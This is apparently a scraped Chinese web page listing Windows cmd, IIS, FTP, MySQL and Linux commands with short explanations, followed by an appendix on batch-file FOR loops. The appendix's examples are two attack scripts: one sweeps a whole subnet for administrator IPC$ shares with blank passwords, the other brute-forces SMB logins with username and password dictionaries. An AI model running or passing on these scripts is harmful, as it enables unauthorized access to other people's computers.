echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
print 文件名 列印文本文件

ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use $">\\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1}

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{(set)為增量形式時};/F 指從文件中不斷取值,直到取完為止{(set)為文件時,如(d:\pass.txt)時}。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

閱讀全文

與c語言編譯錯誤集錦相關的資料

熱點內容
公司法pdf下載 瀏覽:379
linuxmarkdown 瀏覽:347
華為手機怎麼多選文件夾 瀏覽:679
如何取消命令方塊指令 瀏覽:345
風翼app為什麼進不去了 瀏覽:774
im4java壓縮圖片 瀏覽:358
數據查詢網站源碼 瀏覽:146
伊克塞爾文檔怎麼進行加密 瀏覽:886
app轉賬是什麼 瀏覽:159
php的基本語法 瀏覽:792
對外漢語pdf 瀏覽:516
如何用mamp本地web伺服器 瀏覽:869
如何加密自己js代碼 瀏覽:627
排列組合a與c的演算法 瀏覽:534
如何在文件夾中找到同名內容 瀏覽:786
有什麼app文字轉韓文配音 瀏覽:372
循環宏1命令 瀏覽:35
斐波那契數列矩陣演算法 瀏覽:674
公式保護後加密不了 瀏覽:82
java跳轉到jsp 瀏覽:819